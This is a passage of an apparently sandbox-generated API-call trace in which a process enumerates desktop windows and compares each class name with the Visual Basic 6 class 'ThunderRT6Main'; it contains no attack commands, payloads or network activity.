lpClassName="ComboLBox") returned 9 [0284.388] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0284.388] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.388] GetWindowLongA (hWnd=0x2026e, nIndex=-16) returned 1149272145 [0284.388] GetWindow (hWnd=0x2026e, uCmd=0x2) returned 0x10296 [0284.388] GetClassNameA (in: hWnd=0x10296, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.388] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.388] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0284.388] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x20232 [0284.388] GetClassNameA (in: hWnd=0x20232, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0284.388] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0284.388] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.388] GetWindowLongA (hWnd=0x20232, nIndex=-16) returned 213909504 [0284.388] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0284.389] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0284.389] GetWindow (hWnd=0x20232, uCmd=0x2) returned 0x1022e [0284.389] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0284.389] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0284.389] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.389] GetWindowLongA (hWnd=0x1022e, nIndex=-16) returned -2080374784 [0284.389] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0284.389] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0284.389] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x101d2 [0284.389] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.389] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.389] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.389] GetWindowLongA (hWnd=0x101d2, nIndex=-16) returned -2046820352 [0284.389] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0284.389] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0284.389] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101d0 [0284.389] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.389] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.389] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.389] GetWindowLongA (hWnd=0x101d0, nIndex=-16) returned -2046820352 [0284.389] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0284.389] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0284.389] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101ce [0284.389] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.389] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.389] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.389] GetWindowLongA (hWnd=0x101ce, nIndex=-16) returned -2046820352 [0284.389] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0284.389] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0284.389] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101cc [0284.389] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.389] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.389] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.389] GetWindowLongA (hWnd=0x101cc, nIndex=-16) returned -2046820352 [0284.389] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0284.389] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0284.389] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x301a2 [0284.389] GetClassNameA (in: hWnd=0x301a2, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0284.390] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0284.390] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.390] GetWindowLongA (hWnd=0x301a2, nIndex=-16) returned 114229248 [0284.390] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0284.390] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0284.390] GetWindow (hWnd=0x301a2, uCmd=0x2) returned 0x401a4 [0284.390] GetClassNameA (in: hWnd=0x401a4, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0284.390] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0284.390] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x914 [0284.390] GetWindow (hWnd=0x401a4, uCmd=0x2) returned 0x201a0 [0284.390] GetClassNameA (in: hWnd=0x201a0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0284.390] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0284.390] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.390] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned -2080374784 [0284.390] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0284.390] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0284.390] GetWindow (hWnd=0x201a0, uCmd=0x2) returned 0x20208 [0284.390] GetClassNameA (in: hWnd=0x20208, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0284.390] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0284.390] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.390] GetWindowLongA (hWnd=0x20208, nIndex=-16) returned -2080374784 [0284.390] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0284.390] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0284.390] GetWindow (hWnd=0x20208, uCmd=0x2) returned 0x201fa [0284.390] GetClassNameA (in: hWnd=0x201fa, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0284.390] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0284.390] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.390] GetWindowLongA (hWnd=0x201fa, nIndex=-16) returned 1149272145 [0284.390] GetWindow (hWnd=0x201fa, uCmd=0x2) returned 0x101c8 [0284.390] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0284.390] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0284.390] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.390] GetWindowLongA (hWnd=0x101c8, nIndex=-16) returned 1149272145 [0284.390] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x1018e [0284.390] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Possiblycls") returned 11 [0284.390] lstrcmpA (lpString1="Possiblycls", lpString2="ThunderRT6Main") returned -1 [0284.390] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0284.391] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0284.391] GetClassNameA (in: hWnd=0x10190, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.391] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0284.391] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0284.391] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="completingapp") returned 13 [0284.391] lstrcmpA (lpString1="completingapp", lpString2="ThunderRT6Main") returned -1 [0284.391] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0284.391] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0284.391] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.391] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0284.391] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0284.391] GetClassNameA (in: hWnd=0x10186, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Household") returned 9 [0284.391] lstrcmpA (lpString1="Household", lpString2="ThunderRT6Main") returned -1 [0284.391] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0284.391] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0284.391] GetClassNameA (in: hWnd=0x10188, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.391] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0284.391] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0284.391] GetClassNameA (in: hWnd=0x10182, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="mjvidsclass") returned 11 [0284.391] lstrcmpA (lpString1="mjvidsclass", lpString2="ThunderRT6Main") returned -1 [0284.391] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0284.391] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0284.391] GetClassNameA (in: hWnd=0x10184, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.391] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0284.391] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0284.391] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Unlessclass") returned 11 [0284.391] lstrcmpA (lpString1="Unlessclass", lpString2="ThunderRT6Main") returned 1 [0284.392] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0284.392] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0284.392] GetClassNameA (in: hWnd=0x10180, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.392] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0284.392] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0284.392] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Consultants_Consistent_window") returned 29 [0284.392] lstrcmpA (lpString1="Consultants_Consistent_window", lpString2="ThunderRT6Main") returned -1 [0284.392] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0284.392] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0284.392] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.392] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0284.392] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0284.392] GetClassNameA (in: hWnd=0x10176, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="renew_sonic_Sms_win") returned 19 [0284.392] lstrcmpA (lpString1="renew_sonic_Sms_win", lpString2="ThunderRT6Main") returned -1 [0284.392] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0284.392] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0284.392] GetClassNameA (in: hWnd=0x10178, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.392] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0284.392] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0284.392] GetClassNameA (in: hWnd=0x10172, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Regards_Neo_parade_app") returned 22 [0284.392] lstrcmpA (lpString1="Regards_Neo_parade_app", lpString2="ThunderRT6Main") returned -1 [0284.392] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0284.392] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0284.392] GetClassNameA (in: hWnd=0x10174, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.392] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0284.392] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0284.392] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="marsh_cls") returned 9 [0284.392] lstrcmpA (lpString1="marsh_cls", lpString2="ThunderRT6Main") returned -1 [0284.392] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0284.392] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0284.392] GetClassNameA (in: hWnd=0x10170, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.393] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0284.393] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0284.393] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="shotsWorsenh") returned 12 [0284.393] lstrcmpA (lpString1="shotsWorsenh", lpString2="ThunderRT6Main") returned -1 [0284.393] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0284.393] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0284.393] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.393] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0284.393] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10164 [0284.393] GetClassNameA (in: hWnd=0x10164, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="shine_class") returned 11 [0284.393] lstrcmpA (lpString1="shine_class", lpString2="ThunderRT6Main") returned -1 [0284.393] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0284.393] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0284.393] GetClassNameA (in: hWnd=0x10166, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.393] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0284.393] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0284.393] GetClassNameA (in: hWnd=0x10160, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="waxpreparationcardiaccls") returned 24 [0284.393] lstrcmpA (lpString1="waxpreparationcardiaccls", lpString2="ThunderRT6Main") returned 1 [0284.393] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0284.393] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0284.393] GetClassNameA (in: hWnd=0x10162, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.393] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0284.393] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x1015c [0284.393] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="teRaywindow") returned 11 [0284.393] lstrcmpA (lpString1="teRaywindow", lpString2="ThunderRT6Main") returned -1 [0284.393] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0284.393] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x1015e [0284.393] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.393] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0284.393] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0xa0154 [0284.393] GetClassNameA (in: hWnd=0xa0154, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Summer_movie_ourselves_app") returned 26 [0284.393] lstrcmpA (lpString1="Summer_movie_ourselves_app", lpString2="ThunderRT6Main") returned -1 [0284.394] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0284.394] GetWindow (hWnd=0xa0154, uCmd=0x2) returned 0x20158 [0284.394] GetClassNameA (in: hWnd=0x20158, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.394] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0284.394] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x2010a [0284.394] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="VidsRatingclass") returned 15 [0284.394] lstrcmpA (lpString1="VidsRatingclass", lpString2="ThunderRT6Main") returned 1 [0284.394] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0284.394] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x10156 [0284.394] GetClassNameA (in: hWnd=0x10156, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.394] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0284.394] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x20116 [0284.394] GetClassNameA (in: hWnd=0x20116, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0284.394] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0284.394] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0284.394] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0284.394] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0284.394] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0284.394] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0284.394] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0284.394] GetClassNameA (in: hWnd=0x10148, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0284.394] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0284.394] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0284.394] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0284.394] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0284.394] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0284.394] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0284.394] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0284.394] GetClassNameA (in: hWnd=0x10132, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0284.394] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0284.394] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0284.394] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0284.394] GetClassNameA (in: hWnd=0x10134, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.394] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0284.395] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0284.395] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0284.395] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0284.395] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0284.395] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0284.395] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.395] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0284.395] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0284.395] GetClassNameA (in: hWnd=0x10120, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0284.395] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0284.395] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0284.395] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0284.395] GetClassNameA (in: hWnd=0x10122, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.395] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0284.395] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0284.395] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.395] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.395] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0284.395] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0284.395] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.395] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.395] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.395] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0284.395] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0284.395] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0284.395] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.395] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0284.395] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0284.395] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0284.395] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.396] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0284.396] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.396] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.396] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.396] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0284.396] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.396] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.396] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.396] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca 